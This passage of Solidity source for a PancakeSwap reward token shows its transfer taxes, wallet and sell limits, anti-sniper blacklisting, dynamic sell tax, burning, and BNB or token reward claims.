    path[1] = _pancakeRouter.WETH();
    _pancakeRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
        amount,
        0,
        path,
        address(this),
        block.timestamp
    );
} 

function _taxedTransfer(address sender, address recipient, uint256 amount,bool isBuy,bool isSell) private{
    uint256 recipientBalance = _balances[recipient];
    uint256 senderBalance = _balances[sender];
    require(senderBalance >= amount, "Transfer exceeds balance");

    uint8 tax;
    bool extraSellTax = false;
    if (isSell) {
        if (blacklistEnabled) {
            require(!isBlacklisted[sender], "user blacklisted");                
        }      

        require(amount <= _limits.maxSell, "Amount exceeds max sell");
        tax = _taxRates.sellTax;
        if (dynamicSellsEnabled) 
            extraSellTax = true;

    } else if (isBuy) {
        if (liquidityBlock > 0) {
            if (block.number-liquidityBlock < BLACKLIST_BLOCKS) {
                isBlacklisted[recipient] = true;
                snipersRekt ++;
            }
        }

        if (revertSameBlock) {
            require(tradeBlock[recipient] != block.number);
            tradeBlock[recipient] = block.number;
        }       

        require(recipientBalance+amount <= _limits.maxWallet, "Amount will exceed max wallet");
        require(amount <= _limits.maxBuy, "Amount exceed max buy");
        tax = _taxRates.buyTax;

    } else {
        if (amount <= 10**(TOKEN_DECIMALS)) {    //transfer less than 1 token to ClaimBNB
            if (mainReward == _pancakeRouter.WETH())
                claimBNBTo(msg.sender, msg.sender, getStakeBalance(msg.sender, true), true);
            else 
                claimToken(msg.sender, mainReward, 0, true);
            return;
        }

        require(recipientBalance + amount <= _limits.maxWallet, "whale protection");            
        tax = _taxRates.transferTax;
    }    

    if ((sender != _pancakePairAddress) && (!manualSwap) && (!_isSwappingContractModifier) && isSell)
        _swapContractToken(swapThreshold,false);

    uint256 taxedAmount = amount * tax / 100;
    uint256 tokensToBeBurnt = taxedAmount * _taxRatios.burn / totalTaxRatio;
    uint256 contractToken = taxedAmount - tokensToBeBurnt;

    if (extraSellTax){
        uint256 extraTax = dynamicSellTax(amount);
        taxedAmount += extraTax;
        if 
            (dynamicBurn) tokensToBeBurnt += extraTax;
        else 
            contractToken += extraTax;
    }

    uint256 receiveAmount = amount - taxedAmount;
    _removeToken(sender,amount);
   _addToken(address(this), contractToken);
   _circulatingSupply -= tokensToBeBurnt;
    _addToken(recipient, receiveAmount);
    emit Transfer(sender, recipient, receiveAmount);
}

function _transfer(address sender, address recipient, uint256 amount) private {
    require(sender != address(0), "Transfer from zero");
    require(recipient != address(0), "Transfer to zero");

    if (recipient == BURN_ADDRESS){
        burnTransfer(sender, amount);
        return;
    }        

    if (dynamicLimits) 
        getNewLimits();

    bool isExcluded = (_excluded.contains(sender) || _excluded.contains(recipient));

    bool isContractTransfer = (sender == address(this) || recipient == address(this));
    address pancakeRouter = address(_pancakeRouter);
    bool isLiquidityTransfer = (
        (sender == _pancakePairAddress && recipient == pancakeRouter) 
        || (recipient == _pancakePairAddress && sender == pancakeRouter)
    );

    bool isSell = recipient == _pancakePairAddress || recipient == pancakeRouter;
    bool isBuy=sender==_pancakePairAddress|| sender == pancakeRouter;

    if (isContractTransfer || isLiquidityTransfer || isExcluded) {
        _feelessTransfer(sender, recipient, amount);

        if (!liquidityAdded) 
            checkLiqAdd(recipient);            
    }
    else { 
        _taxedTransfer(sender, recipient, amount, isBuy, isSell);                  
    }
}

function burnTransfer (address account,uint256 amount) private {
    require(amount <= _balances[account]);
    require(!_isBurning);
    _isBurning = true;
    _removeToken(account, amount);
    _circulatingSupply -= amount;
    emit Transfer(account, BURN_ADDRESS, amount);
    _isBurning = false;
}

function checkLiqAdd(address receiver) private {        
    require(!liquidityAdded, "liquidity already added");
    if (receiver == _pancakePairAddress) {
        liquidityBlock = block.number;
        liquidityAdded = true;
    }
}

function claimToken(address addr, address token, uint256 payableAmount, bool main) private {
    require(!_isWithdrawing);
    _isWithdrawing = true;
    uint256 amount;
    if (isExcludedFromStaking(addr)){
        if (main){
            amount = toBePaidMain[addr];
            toBePaidMain[addr] = 0;
        } else {
            amount = toBePaidMisc[addr];
            toBePaidMisc[addr] = 0;
        }
    }
    else {
        uint256 newAmount = newStakeOf(addr, main);            
        if (main){
            alreadyPaidMain[addr] = mainRewardShare * _balances[addr];
            amount = toBePaidMain[addr]+newAmount;
            toBePaidMain[addr] = 0;
        } else {
            alreadyPaidMisc[addr] = miscRewardShare * _balances[addr];
            amount = toBePaidMisc[addr]+newAmount;
            toBePaidMisc[addr] = 0;                
        }
    }
    
    if (amount == 0 && payableAmount == 0){
        _isWithdrawing = false;
        return;
    }

    totalPayouts += amount;
    accountTotalClaimed[addr] += amount;
    amount += payableAmount;
    address[] memory path = new address[](2);
    path[0] = _pancakeRouter.WETH();
    path[1] = token;

    _pancakeRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
    0,
    path,
    addr,
    block.timestamp);
    
    emit ClaimToken(amount,token, addr);
    _isWithdrawing = false;
}

function claimBNBTo(address from, address to,uint256 amountWei, bool main) private {
    require(!_isWithdrawing);
    {require(amountWei != 0, "=0");        
    _isWithdrawing = true;
    subtractStake(from, amountWei, main);
    totalPayouts += amountWei;
    accountTotalClaimed[to] += amountWei;
    _sendBnb(to, amountWei);}
    _isWithdrawing = false;
    emit ClaimBNB(from,to,amountWei);
}   


function dynamicSellTax (uint256 amount) private view returns (uint256) {
    uint256 value = _balances[_pancakePairAddress];
    uint256 vMin = value / 100;
    uint256 vMax = value / 10;
    if (amount <= vMin) 
        return amount = 0;
    
    if (amount > vMax) 
        return amount * 20 / 100;

    return (((amount-vMin) * 20 * amount) / (vMax-vMin)) / 100;
}

function getNewLimits () private {
    _limits.maxBuy = _circulatingSupply * _limits.maxBuyRatio / _limits.divisor;        
    _limits.maxSell = _circulatingSupply * _limits.maxSellRatio / _limits.divisor;
    _limits.maxWallet = _circulatingSupply * _limits.maxWalletRatio / _limits.divisor;
}

function subtractStake(address addr,uint256 amount, bool main) private {
    if (amount == 0) return;
    require(amount<=getStakeBalance(addr, main),"Exceeds stake balance");

    if (_excludedFromStaking.contains(addr)){
        if (main) 
            toBePaidMain[addr] -= amount; 
        else 
            toBePaidMisc[addr] -= amount;
    }
    else{
        uint256 newAmount  =newStakeOf(addr, main);            
        if (main) {
            alreadyPaidMain[addr] = mainRewardShare * _balances[addr];
            toBePaidMain[addr] += newAmount;
            toBePaidMain[addr] -= amount;                
        }
        else {
            alreadyPaidMisc[addr] = miscRewardShare * _balances[addr];
            toBePaidMisc[addr] += newAmount;
            toBePaidMisc[addr] -= amount;
        }
    }
}   
function getStakeBalance(address addr, bool main) private view returns (uint256) {
    if (main){
        if (isExcludedFromStaking(addr)) 
            return toBePaidMain[addr];
        return newStakeOf(addr, true) + toBePaidMain[addr];
    } else{
        if (isExcludedFromStaking(addr)) 
            return toBePaidMisc[addr];
        return newStakeOf(addr, false) + toBePaidMisc[addr];            
    }
}

function getTotalShares() private view returns (uint256) {
    return _totalShares - INITIAL_SUPPLY;
}

 function setUnlockTime(uint256 newUnlockTime) private{
    // require new unlock time to be longer than old one
    require(newUnlockTime > _liquidityUnlockTime);
    _liquidityUnlockTime = newUnlockTime;
}

function newStakeOf(address staker, bool main) private view returns (uint256) {
    if (main){
        uint256 fullPayout = mainRewardShare * _balances[staker];
        if (fullPayout < alreadyPaidMain[staker]) 
            return 0;
        return (fullPayout-alreadyPaidMain[staker]) / DISTRIBUTION_MULTI;
    }  
    else {
        uint256 fullPayout = miscRewardShare * _balances[staker];
        if (fullPayout < alreadyPaidMisc[staker]) 
            return 0;
        return (fullPayout-alreadyPaidMisc[staker]) / DISTRIBUTION_MULTI;
    }        
}

}

Last updated